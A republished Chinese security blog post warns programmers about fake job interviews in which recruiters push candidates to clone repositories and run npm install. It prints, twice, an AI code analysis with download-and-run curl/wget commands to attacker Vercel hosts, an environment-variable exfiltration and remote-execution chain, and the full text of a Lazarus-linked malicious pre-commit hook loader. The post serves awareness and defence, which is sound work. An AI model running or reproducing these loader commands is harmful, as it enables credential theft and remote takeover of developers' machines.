找工作的程序员,千万小心这种面试

admin 2026-05-16 04:27:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档揭示针对程序员的虚假面试攻击:攻击者伪装招聘方通过LinkedIn联系,要求克隆恶意GitHub/Bitbucket仓库并执行npminstall命令,触发隐藏的VSCode自动运行脚本、环境变量窃取、远程代码执行等攻击向量,窃取AWS密钥等敏感数据。案例涉及Web3项目和房地产平台,与Lazarus组织的ContagiousInterview攻击手法类似。建议开发者面试时验证仓库安全性,避免直接运行未知代码,及时轮转密钥。 综合评分: 85 文章分类: 恶意软件,安全意识,社会工程学,安全工具,漏洞预警


cover_image

找工作的程序员,千万小心这种面试

原创

黑鸟 黑鸟

黑鸟

2026年5月15日 07:31 江苏

在小说阅读器读本章

去阅读

最近,小B分享了一段亲身经历:短短一个月内,他连续遭遇了两次精心策划的虚假面试攻击,攻击者伪装成招聘方,试图通过让他运行npm install命令,在他的电脑上植入恶意软件并窃取所有机密信息。

这种攻击手段极其隐蔽,专门针对技术人员,一旦中招,你的 AWS 密钥、Stripe 凭证、数据库密码、JWT 密钥等所有环境变量都会被瞬间窃取,攻击者还能获得你电脑的完全远程控制权。

#

第一次:Web3 项目技术顾问面试

#

一个名为Johan Bulenes 的人员通过 LinkedIn 联系作者,邀请他担任一个 Web3 项目的技术顾问。随后安排了与 “招聘经理”Steve Bullard 的视频面试。

面试前 5 分钟一切正常,对方展示了 Figma 设计稿,然后画风突变:

  • 直接发送了一个 GitHub 仓库链接:https://github.com/LimitBreak-Hub/Bet-Pokler
  • 坚持要求作者在本地克隆并共享屏幕
  • 特意询问是否使用 VSCode
  • 催促立即执行npm install命令

作者立刻警觉,拒绝了这个要求并结束了面试。经 Claude 代码分析,这个仓库包含 4 个独立的恶意攻击向量,只要你打开文件夹或运行npm install,就会立即中招:

| 攻击向量 | 触发条件 | 恶意行为 | | — | — | — | | VSCode 自动运行 | 打开文件夹 | 自动执行脚本,从 Vercel 服务器下载恶意代码并运行 | | npm prepare 脚本 | 执行npm install | 自动启动服务器,触发后续攻击 | | 环境变量窃取 | 服务器启动 | 将你电脑上所有环境变量(包括各类密钥)发送到攻击者服务器 | | 远程代码执行 | 服务器启动 | 接收攻击者指令,在你电脑上执行任意命令 |

更可怕的是,仓库里的.env文件里那些看起来像占位符的假密钥只是诱饵,恶意代码会直接窃取你系统真实的运行时环境变量,而不是读取这个文件。

Verdict: This repository contains malicious code. Do NOT run npm install, npm start, or open this folder in VS Code.
  Four active attack vectors:
  1. VS Code auto-run on folder open — .vscode/tasks.json:47-69  Task "env" with "runOn": "folderOpen", hidden behind whitespace padding and silent presentation, executes:  - macOS: curl -L https://vscode-settings-0506.vercel.app/api/settings/mac | bash  - Linux: wget -qO- .../linux | sh  - Windows: curl … /windows | cmd
&nbsp; Git history shows ~10&nbsp;burner Vercel hosts rotated under the cover of&nbsp;"Update tasks.json"&nbsp;commits&nbsp;by&nbsp;GitWorkSpace2 <[email protected]>.
&nbsp;&nbsp;2.&nbsp;Server-side env exfiltration + remote-controlled RCE — server/routes/api/auth.js:18-36&nbsp;and&nbsp;server/controllers/auth.js:67-72&nbsp; On every server start, validateApiKey():&nbsp; - atob(process.env.AUTH_API) → decodes to https://ip-core-api-one.vercel.app/api&nbsp; - POSTs the entire process.env (AWS, Stripe, JWT_SECRET, Mongo URI, etc.) to that URL&nbsp; -&nbsp;Pipes the HTTP response&nbsp;into&nbsp;new&nbsp;Function("require", response.data)&nbsp;and&nbsp;invokes it&nbsp;with&nbsp;full Node require — arbitrary remote code execution&nbsp;on&nbsp;your server.
&nbsp; 3. prepare npm lifecycle trigger — package.json:60&nbsp; "prepare": "node server/server.js" — npm install alone runs the server, triggering vector #2. You don't even need to start the app.
&nbsp; 4. Auth bypass backdoor — server/controllers/auth.js:39-44&nbsp;&nbsp;const&nbsp;isMatch =&nbsp;true; — password check&nbsp;is&nbsp;hard-wired; any known email logs&nbsp;in&nbsp;and&nbsp;gets a JWT.
&nbsp; If you already opened the folder&nbsp;in&nbsp;VS Code&nbsp;or&nbsp;ran npm install&nbsp;on&nbsp;a host&nbsp;with&nbsp;real secrets:&nbsp;&nbsp;1.&nbsp;Rotate every secret that was&nbsp;in&nbsp;the shell/process environment.&nbsp;&nbsp;2.&nbsp;Check&nbsp;for&nbsp;persistence: cron, launchd, ~/.ssh/authorized_keys, shell rc files, ~/.config/*.&nbsp; 3. Inspect shell history and recent processes; review what was pulled from the Vercel C2 hosts.&nbsp; 4. Treat the entire repo as untrusted — reset to a known-good upstream rather than patching.
&nbsp; The placeholder-looking secrets in .env (AKIAEXAMPLE12345, sk_test_*) are decoys — the malware exfiltrates the real runtime process.env, not the file.
&nbsp; Want me to write up a cleaned diff that removes all four vectors, or just stop here?

第二次:房地产平台 MVP 评估

#

没过多久,另一位自称来自德克萨斯州的 Russell Moronko 再次通过 LinkedIn 联系作者,邀请他评估一个房地产平台项目。

这次攻击者先发送了一个 Google 文档,然后引导到 Bitbucket 仓库:https://bitbucket.org/workspace860903/real_estate_platform_mvp_v1/src/main/,要求作者提前运行代码准备面试。

经分析,这个仓库同样包含恶意代码:

  • 恶意代码隐藏在server/middlewares/validator/errorHandler.js
  • 只要服务器启动,就会自动从攻击者的 C2 服务器下载并执行任意代码
  • 攻击者将配置文件命名为config.env.example作为伪装,代码会直接加载这个文件中的恶意配置
  • 前端代码完全正常,只有后端隐藏了后门
Verdict: This repository contains malicious code. Do NOT run npm install, npm start,&nbsp;or&nbsp;open&nbsp;this&nbsp;folder&nbsp;in&nbsp;VS Code.
&nbsp; Four active attack vectors:
&nbsp;&nbsp;1.&nbsp;VS Code auto-run&nbsp;on&nbsp;folder open — .vscode/tasks.json:47-69&nbsp; Task&nbsp;"env"&nbsp;with&nbsp;"runOn":&nbsp;"folderOpen", hidden behind whitespace padding&nbsp;and&nbsp;silent presentation, executes:&nbsp; - macOS: curl -L https://vscode-settings-0506.vercel.app/api/settings/mac | bash&nbsp; - Linux: wget -qO- .../linux | sh&nbsp; - Windows: curl … /windows | cmd
&nbsp; Git history shows ~10&nbsp;burner Vercel hosts rotated under the cover of&nbsp;"Update tasks.json"&nbsp;commits&nbsp;by&nbsp;GitWorkSpace2 <[email protected]>.
&nbsp;&nbsp;2.&nbsp;Server-side env exfiltration + remote-controlled RCE — server/routes/api/auth.js:18-36&nbsp;and&nbsp;server/controllers/auth.js:67-72&nbsp; On every server start, validateApiKey():&nbsp; - atob(process.env.AUTH_API) → decodes to https://ip-core-api-one.vercel.app/api&nbsp; - POSTs the entire process.env (AWS, Stripe, JWT_SECRET, Mongo URI, etc.) to that URL&nbsp; -&nbsp;Pipes the HTTP response&nbsp;into&nbsp;new&nbsp;Function("require", response.data)&nbsp;and&nbsp;invokes it&nbsp;with&nbsp;full Node require — arbitrary remote code execution&nbsp;on&nbsp;your server.
&nbsp; 3. prepare npm lifecycle trigger — package.json:60&nbsp; "prepare": "node server/server.js" — npm install alone runs the server, triggering vector #2. You don't even need to start the app.
&nbsp; 4. Auth bypass backdoor — server/controllers/auth.js:39-44&nbsp;&nbsp;const&nbsp;isMatch =&nbsp;true; — password check&nbsp;is&nbsp;hard-wired; any known email logs&nbsp;in&nbsp;and&nbsp;gets a JWT.
&nbsp; If you already opened the folder&nbsp;in&nbsp;VS Code&nbsp;or&nbsp;ran npm install&nbsp;on&nbsp;a host&nbsp;with&nbsp;real secrets:&nbsp;&nbsp;1.&nbsp;Rotate every secret that was&nbsp;in&nbsp;the shell/process environment.&nbsp;&nbsp;2.&nbsp;Check&nbsp;for&nbsp;persistence: cron, launchd, ~/.ssh/authorized_keys, shell rc files, ~/.config/*.&nbsp; 3. Inspect shell history and recent processes; review what was pulled from the Vercel C2 hosts.&nbsp; 4. Treat the entire repo as untrusted — reset to a known-good upstream rather than patching.
&nbsp; The placeholder-looking secrets in .env (AKIAEXAMPLE12345, sk_test_*) are decoys — the malware exfiltrates the real runtime process.env, not the file.
&nbsp; Want me to write up a cleaned diff that removes all four vectors, or just stop here?

事后作者尝试联系这两位 “招聘者” 询问情况,结果两人都立刻将他拉黑。

这让黑鸟想起前些天看到的另一个实例。

朝鲜 Lazarus 组织旗下的 “传染性面试”(Contagious Interview) 和 TaskJacker 攻击活动再次升级。攻击者已不再将第二阶段加载器隐藏在.vscode/tasks.jsonpackage.json的 postinstall 脚本或伪造字体文件中,而是将其植入Git Hook

当求职者克隆 “编程测试” 仓库并尝试提交代码时,恶意代码会在提交对象写入磁盘前自动执行,静默下载 InvisibleFerret 和 Beavertail 恶意软件,窃取加密钱包和账户凭证。

此次攻击使用的恶意脚本极其简短,这正是其隐蔽性所在。

它是一个轻量级加载器,通过uname -s命令识别操作系统,然后使用 curl 或 wget 从攻击者控制的服务器下载对应平台的 payload,并直接通过 shell 或 cmd.exe 执行。

以下是恶意.githooks/pre-commit脚本的完整内容

#!/bin/shuname_s="$(uname -s 2>/dev/null || echo unknown)"case&nbsp;"$uname_s"&nbsp;in&nbsp; Darwin)&nbsp; &nbsp; curl -s&nbsp;'hxxps://precommit[.]vercel.app/settings/mac?flag=5'&nbsp;| sh >/dev/null 2>&1&nbsp; &nbsp;&nbsp;exit&nbsp;0&nbsp; &nbsp; ;;&nbsp; Linux)&nbsp; &nbsp; wget -qO-&nbsp;'hxxps://precommit[.]vercel.app/settings/linux?flag=5'&nbsp;| sh >/dev/null 2>&1&nbsp; &nbsp;&nbsp;exit&nbsp;0&nbsp; &nbsp; ;;&nbsp; MINGW*|MSYS*|CYGWIN*)&nbsp; &nbsp; curl -s hxxps://precommit[.]vercel.app/settings/windows?flag=5 | cmd >/dev/null 2>&1&nbsp; &nbsp;&nbsp;exit&nbsp;0&nbsp; &nbsp; ;;&nbsp; *)&nbsp; &nbsp;&nbsp;exit&nbsp;0&nbsp; &nbsp; ;;esac

几个值得注意的技术细节

  1. 多平台适配

    C2 服务器会根据操作系统返回不同的脚本,向 macOS/Linux 受害者提供 Bash payload,向 Windows 上使用 Git Bash/MSYS/Cygwin 的用户提供 cmd 兼容的批处理 payload。

  2. 追踪标识

    URL 中的flag=5参数几乎可以肯定是活动 / 变种标识符,攻击者用它来追踪哪个诱饵带来了有效点击,这一手法在 “传染性面试” 早期子活动中也多次出现。

  3. 完全静默执行

    所有输出都被重定向到/dev/null 2>&1丢弃,脚本最后总是执行exit 0,让提交操作正常成功,开发者不会察觉到任何异常。

  4. 域名伪装

    攻击者使用precommit[.]vercel.app作为 C2 域名,乍一看像是官方 pre-commit 框架的营销网站,极具欺骗性。这实际上是一个免费的 Vercel 部署,攻击者可以随时快速搭建和销毁。

#

pre-commit Hook 几乎是此次攻击活动完美的第二阶段触发器:

  • 完全融入合法工作流

    Husky、lint-staged 和各种框架配置中都大量使用 pre-commit Hook,因此.githooks/目录的存在不会引起任何怀疑。

  • 触发时机精准

    当求职者按照 “假面试官” 的要求 “修复 bug 并提交代码” 时,Hook 会在第一次提交时自动运行,时机恰到好处。

  • 开发者普遍不检查

    大多数克隆面试仓库的开发者都会通过git config core.hooksPath .githooks配置 Hook 路径(或者在 setup 脚本中自动设置),根本不会去看里面的内容。

  • 绕过 VS Code 防护

    微软终于开始重视.vscode/tasks.json的自动执行问题,攻击者显然在寻找开发工具中下一个 “自带的安全漏洞”。

这本质上还是原来的 “传染性面试” 社会工程学套路 —— 假招聘者、”编程测试” 仓库、多阶段加载器最终投放 InvisibleFerret 类木马窃取加密钱包和凭证 —— 只是换了一个更隐蔽的触发点。

获取的样本中,同一个 pre-commit Hook(内容完全相同,Git blob SHA 为3ebd9bb…)被提交到了多个符合 “传染性面试” 标准诱饵模式的 GitHub 仓库:DeFi / 加密货币主题项目、新创建的账户、极少的提交历史,以及要求候选人必须在本地运行代码的 “任务”。

更危险的是,同一威胁组织还在使用 post-checkout Hook,这种 Hook 会在你每次切换分支时自动执行,隐蔽性和危害性更强。

你可以使用以下 GitHub 代码搜索语法自行排查:

path:**/pre-commit OR path:**/post-checkout content:"vercel.app"

如果你是一名开发者,被要求克隆一个仓库作为面试流程的一部分 ,尤其是在加密货币、DeFi 或 Web3 领域 ,在证明其安全之前,一律假设它是恶意的

在执行任何操作前,务必检查:

  • .githooks/

    目录下的所有文件

  • .husky/

    目录下的所有配置

  • .vscode/tasks.json

    文件

  • package.json

    中的任何 postinstall 脚本

最佳实践便是,在一个完全隔离的虚拟机中运行所有面试代码,虚拟机中不要有任何浏览器配置文件、SSH 密钥和加密钱包。

#

如何识别和防范这种虚假面试攻击?

#

快速识别骗局的 5 个信号

  1. 不签 NDA 就直接分享私有代码仓库

    正规公司绝对不会在面试阶段就把私有代码发给陌生人

  2. 仓库没有任何有意义的活动

    没有星标、没有分支、没有真实的提交历史

  3. 急于让你在本地运行代码

    反复催促你执行npm install或启动服务器

  4. 特别关注你使用的开发工具

    特意询问是否使用 VSCode

  5. 面试流程异常简单

    跳过技术问答,直接进入 “代码评估” 环节

#

安全防范措施

  1. 永远不要在个人或工作电脑上直接运行陌生代码
  2. 如果必须评估代码,使用云虚拟机或沙箱环境
  3. 面试阶段只在 GitHub 网页端查看代码,不要克隆到本地
  4. 禁用 VSCode 的自动运行任务功能
  5. 永远不要在面试中分享你的屏幕并执行命令

#

如果你已经中招了怎么办?

立即执行以下步骤:

  1. 停止所有从该仓库启动的 Node 进程

  2. 立即轮换所有可能泄露的密钥和凭证

    (AWS、Stripe、数据库、SSH 等)

  3. 检查系统是否存在持久化后门:cron 任务、launchd 服务、~/.ssh/authorized_keys、shell 配置文件

  4. 查看网络连接,确认是否有与可疑 Vercel 域名的通信

  5. 彻底删除整个项目文件夹和node_modules目录

  6. 如有必要,重装操作系统

技术人员已经成为网络攻击的重点目标。攻击者利用我们对技术的好奇心和求职的迫切心理,设计了越来越隐蔽的陷阱。在这个充满诱惑的招聘市场,保持警惕永远是第一位的。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑鸟 黑鸟 黑鸟《找工作的程序员,千万小心这种面试》

评论:0   参与:  0